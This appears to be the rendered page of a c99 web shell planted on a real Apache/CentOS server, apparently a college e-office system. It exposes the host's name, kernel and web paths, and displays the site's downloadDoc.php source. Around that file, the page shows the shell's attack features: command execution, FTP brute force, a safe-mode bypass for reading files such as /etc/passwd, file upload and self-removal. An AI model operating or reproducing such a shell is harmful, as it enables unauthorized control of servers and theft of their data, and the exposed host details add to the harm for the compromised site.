!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 50.91 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     downloadDoc.php (5.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
set_time_limit
(0);
include_once(
"../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../class/clsSendReceive.php";
include_once 
"../class/clsCollegeDetail.php";
include_once 
"functdownload.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oTsr = new sendreceive($oC);
$oTsr2 = new sendreceive($oC);
$oTsr3 = new sendreceive($oC);
$oTsr4 = new sendreceive($oC);
$oCd = new collegedetail($oC);

//----select doc status = r2 start download
$oTsr->SearchByKey($tsr_id);
while(
$oTsr->GetRecord()){
        
$tsr_id =$oTsr->tsr_id;
        
$tsr_docid =$oTsr->tsr_docid;
        
$tsr_doc_url=$oTsr->tsr_doc_url;
        
$tsr_doc_chksum=$oTsr->tsr_doc_chksum;
        
$tsr_fr_node=$oTsr->tsr_fr_node;
        
$tsr_docname=$oTsr->tsr_docname;
        
$tsr_statusDocAtt=$oTsr->tsr_statusDocAtt;
        
        
$oCd->SearchByKey($oTsr->tsr_fr_node); 
        
$oCd->GetRecord();   
        
        
//---download each Doc
        
$i=0;

        
//preg_replace("\,", "", $tsr_doc_url);
        //echo $tsr_doc_url; exit;

        
while($tsr_doc_url!=''){
                    list(
$downloadurl,$tsr_doc_url)=preg_split('[,]',$tsr_doc_url,2);
                    list(
$downloadfilename,$tsr_docname)=preg_split('[,]',$tsr_docname,2);
                    list(
$downloadchksum,$tsr_doc_chksum)=preg_split('[,]',$tsr_doc_chksum,2);
                    
$checktsr_statusDocAtt.='Y';
                    
$i++;

                                                    
$count=strlen($tsr_statusDocAtt);
                                                    if(
$count!=$i){
                                                        
$statusDoc substr($tsr_statusDocAtt,$i-1,-($count-1-($i-1)));
                                                    }else{
                                                        
$statusDoc substr($tsr_statusDocAtt,$count-1);
                                                    }
                    
//echo $statusDoc; exit;
                    
if($statusDoc=='N'){          
                                if(
downloadRemoteFile($tsr_fr_node,$downloadurl$GLOBALS['path_upload_documentsTmp'])==true){
                                
                        
//echo $downloadurl; exit;
                                            
$file_name basename($downloadurl);
                                            
$file_name_write=$file_name;
                                            
$filename_=''$filetype_='';
                                             list(
$filename_,$filetype_)=preg_split("/\./",$file_name_write);
                                            
$filewrite=$filename_.'-'.$tsr_fr_node.'.'.$filetype_;
                                            
                                                    
$fileN=substr(strrchr($downloadurl'/'),1);
                                                    
$pathfile=$GLOBALS['path_upload_documentsTmp'].$filewrite;
                                                    
//$checksum=md5_file($pathfile);
                                                    
$checksum=md5_file($downloadurl);
                                                    
$c=0;
                                                    if(
$downloadchksum==""){  $c=1; }
                                                    
//echo "$checksum==$downloadchksum) || $c==1"; exit;
                                                    
if(($checksum==$downloadchksum) || $c==1){
                                                                    
//--update  tsr_statusDocAtt 
                                                                    
$count=strlen($tsr_statusDocAtt);
                                                                    
//echo $tsr_statusDocAtt; exit;
                                                                    
if($count!=$i){
                                                                        
$tsr_statusDocAtt substr_replace($tsr_statusDocAtt"Y"$i-1,-($count-1-($i-1)));
                                                                    }else{
                                                                        
$tsr_statusDocAtt substr_replace($tsr_statusDocAtt"Y"$count-1);
                                                                    }
                                                                    
                                                                    
$oTsr2->SearchByKey($oTsr->tsr_id);
                                                                    
$oTsr2->GetRecord();
                                                                    
$oTsr2->Edit();
                                                                    
                                                                    
//$oTsr2->tsr_status="r3";
                                                                    
$oTsr2->tsr_statusDocAtt=$tsr_statusDocAtt;
                                                                    
$oTsr2->Save();
                                                                    
$oTsr2->Close();
                                                                    
file_get_contents($_url_full."/admin/admin_json.php?mod=updateStatusDocument&DocID={$tsr_docid}");
                                                                    
//echo "<tr><td align=\"left\">&nbsp;&nbsp; >>>>> ดาวน์โหลดเอกสารสมบูรณ์  <<<<<</td></tr>";
                                                    
}else{
                                                                    
//echo "<tr><td align=\"left\">&nbsp;&nbsp; >>>>> เอกสารที่ดาวน์โหลดมาไม่สมบูรณ์  <<<<<</td></tr>";
                                                    
}
                                }else{
                                                                    
//echo "<tr><td align=\"left\">&nbsp;&nbsp; >>>>> ไม่สามารถดาวน์โหลดเอกสารได้  <<<<<</td></tr>";
                                
}    
                }    
//check N only                        
                                
                                //-----if finish download all doc                
                                
if($tsr_statusDocAtt==$checktsr_statusDocAtt){
                                                            
//if chksum OK  -------------update status = r3--------------
                                                            
$oTsr2->SearchByKey($oTsr->tsr_id);
                                                            
$oTsr2->GetRecord();
                                                            
$oTsr2->Edit();
                                                            
$oTsr2->tsr_status='r3';
                                                            
$oTsr2->Save();
                                                            
$tsr_docid2 =$oTsr2->tsr_docid;
                                                            
$tsr_fr_node2=$oTsr2->tsr_fr_node;
                                                            
$tsr_id2=$oTsr2->tsr_id_send;
                                                            
$oTsr2->Close();
                                                            
                                                            
//if chksum OK  -------------sendTos3-----------------
                                                            
$oCd = new collegedetail($oC);
                                                            
$oCd->SearchByKey($tsr_fr_node2);
                                                            
$oCd->GetRecord();    
                                                            
$msg='?fn=s3&tsr_id='.$tsr_id2;
                                                            
                                                            if(
$tsr_fr_node2==99){ 
                                                                    
$folder=$GLOBALS["FOLDERFORSEND1"];
                                                            }else if(
$tsr_fr_node2==8){ 
                                                                    
$folder=$GLOBALS["FOLDERFORSEND3"]; 
                                                            }else{ 
                                                                    
$folder=$GLOBALS["FOLDERFORSEND2"]; 
                                                            }
                                    
                                                            
$path_send='http://'.$oCd->collegeHost.'/'.$folder.'/'.'eoffice/admin/sendTSR.php'.$msg;
                                                            
$res=file_get_contents($path_send);  
                                                            
                                                            
//if chksum OK  --------------set r3 to r4 not wait return fn=s3------------------------
                                                            
$oTsr4->SearchBytsr_id_send_tsr_fr_node($tsr_id2,$tsr_fr_node2);
                                                            
$oTsr4->GetRecord();                    
                                                            
$oTsr4->Edit();
                                                            
$oTsr4->tsr_status='r4';
                                                            
$oTsr4->Save();
                            }
                                                        
        } 
//split tsr_doc_url                
}
echo 
"<meta http-equiv='refresh' content='0; URL=showDetailReceiveDocSRshow.php?page_id=$page_id&tsr_id=$tsr_id&selectcID=$selectcID&selectcID2=$selectcID2'>";
?>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0221 ]--